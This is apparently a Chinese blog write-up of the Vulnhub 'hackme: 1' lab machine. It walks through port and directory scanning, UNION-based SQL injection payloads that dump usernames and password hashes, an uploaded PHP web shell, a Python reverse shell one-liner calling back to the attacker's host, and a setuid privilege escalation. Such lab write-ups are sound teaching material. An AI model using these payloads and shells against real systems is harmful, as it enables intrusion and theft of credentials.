一、靶机搭建

选择扫描虚拟机

选择路径即可

二、信息收集

靶机信息

Name: hackme: 1
Date release: 18 Jul 2019
难度:初级,目标是通过web漏洞获得有限的权限访问,随后权限以root身份升级。这个实验室是为了模拟现实生活环境而创建的。
“hackme”使用DHCP,在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重启机器,随后它应该可以正常工作。
hint:本节介绍已收集到的有关该版本的各种信息,例如网页和/或自述文件中的引文。

扫ip

靶机ip:192.168.108.150

扫开放端口和服务

开放了22和80端口

信息如下:

22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))

指纹探测

使用以下命令

nmap 192.168.108.150 -p 22,80 -sV -sC -O --version-all

信息如下:

运行系统: Linux 3.X|4.X
操作系统CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS 详情: Linux 3.2 - 4.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

先看看dirb扫描

试试dirsearch扫描

信息如下:

http://192.168.108.150/uploads        #文件上传
http://192.168.108.150/config.php #配置信息
http://192.168.108.150/login.php #登录界面
http://192.168.108.150/logout.php #登出界面
http://192.168.108.150/register.php #注册界面

三、Web渗透

信息收集

主页面

由于其他页面无法正常访问,只有一个uploads,也没有什么可以利用的信息

回去注册一个账户并登录

是一个查询界面,查询书名

点击search先看看,看来有数据库,可能是sql注入

抓包看一下,存在注入点

sql注入

判断类型

无回显,看来需要注释符

字符型注入

由于之前search查询出来的结果,该数据库存在三个字段

爆数据库名和版本号

-1' union select version(),database(),3#
数据库:webapphacking

爆表名

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="webapphacking"#
数据表名称:books,users
  • group_concat():将多行的结果合并到一行
  • information_schema.tables:是一个系统数据库,它存储了所有数据库、表、列等的元数据。在这里,攻击者查询的是tables表,目的是获取所有表的名字。
  • table_schema:指定数据库名称

爆users表下的列

获取users表的列名

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="users"#
id,user,pasword,name,address

group_concat():将多行的结果合并到一行

select group_concat(column_name),2,3:将结果输出全部在第一字段里,2和3是为了填充查询列,避免出错

获取users表下的用户和密码

-1' union select group_concat(user),group_concat(pasword),3 from users#

这里有很多用户以及他们密码的md5值,我们看比较重要的,superadmin2386acb2cf356944177746fc92523983

查询一下,密码:Uncrackable

文件上传

重新登录

如下,有一个文件上传点,结合之前扫描出来的文件上传页面进行文件上传

访问uploads界面,可以正常上传,且可以访问

上传一个php文件,名为nc.php

track
<?php system($_GET["a"]); ?>

上传成功

执行一下系统命令试试,成功执行

文件上传反弹shell

kali开启监听

利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权

进入环境先信息收集一波,不过目录是web服务下的,没什么可用信息

进入/home 目录查看,发现两个可疑文件夹,hackme和legacy,访问hackme看看

存在两个可疑文件,但不知道怎么利用,进入另一个目录看看,发现一个脚本

  • s:设置用户ID位(setuid),表示当用户执行这个文件时,进程将以文件所有者的权限运行。

ok,直接把提权脚本给我们了,执行该脚本

提权成功

Vulnhub-Hackme的更多相关文章

  1. Hackme: 1: Vulnhub Walkthrough

    下载链接: https://www.vulnhub.com/entry/hackme-1,330/ 网络扫描探测: ╰─ nmap -p1-65535 -sV -A 10.10.202.131 22/ ...

  2. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  3. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  4. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  5. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  6. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  7. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  8. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  9. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  10. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

随机推荐

  1. Qt编写可视化大屏电子看板系统25-模块3设备监控

    一.前言 设备监控主要用来实时监测制造零件等使用的设备的工作运行状态,每个设备都有对应的需要.分组名称.分组编号.设备名称.文字1.文字2.工作状态(1-开机 2-待机 3-维护 4-空),不同的工作 ...

  2. U盘或光盘启动的Win7-8-10的PE系统制作步骤

    U盘或光盘启动的Win7-8-10的PE系统制作步骤 1.打开http://www.ushendu.com/下载PE制作工具 2.下载完成后安装到我的电脑, 把准备好的U盘插到电脑上,打开U深度PE制 ...

  3. 基于极坐标参数方程的直线Hough变换

  4. 即时通讯技术文集(第38期):IM代码入门实践(Part2) [共15篇]

    为了更好地分类阅读 52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第38 期. [- 1 -] 高仿Android版手机QQ首页侧滑菜单源码 [附件下载] [链接 ...

  5. Github + Jekyll 搭建项目wiki

    网站托管 创建新仓库 创建以自己名字为前缀, .github.io​为后缀的仓库 ​​ 在仓库的Settings中的Pages里设置Build and deployment​为Github Actio ...

  6. 前端(二)-CSS

    1.样式 1.1 行内样式 <h1 style="color:red;">行内样式</h1> 1.2 内部样式 CSS代码写在 <head> 的 ...

  7. 史上最全Redis面试49题(含答案):哨兵+复制+事务+集群+持久化等

    Redis主要有哪些功能? 1.哨兵(Sentinel)和复制(Replication) Redis服务器毫无征兆的罢工是个麻烦事,如何保证备份的机器是原始服务器的完整备份呢?这时候就需要哨兵和复制. ...

  8. Mac安装NTL库

    Mac安装NTL库 NTL是一个高性能.可移植的C++库,为任意长度的整数提供数据结构和算法:用于整数和有限域上的向量.矩阵和多项式:以及任意精度的浮点运算. 具有以下功能: 任意长度整数运算和任意精 ...

  9. Kevin pg walkthrough Easy

    第二个window 靶机 尝试访问 80 web界面 然后是个登录界面 我尝试admin admin 登录成功 发现版本 发现了exp https://www.exploit-db.com/explo ...

  10. args = parser.parse_args()报错 解决

    args = parser.parse_args()报错 解决 问题: 如题. 解决方法: args = parser.parse_args(args=[]) args = parser.parse_ ...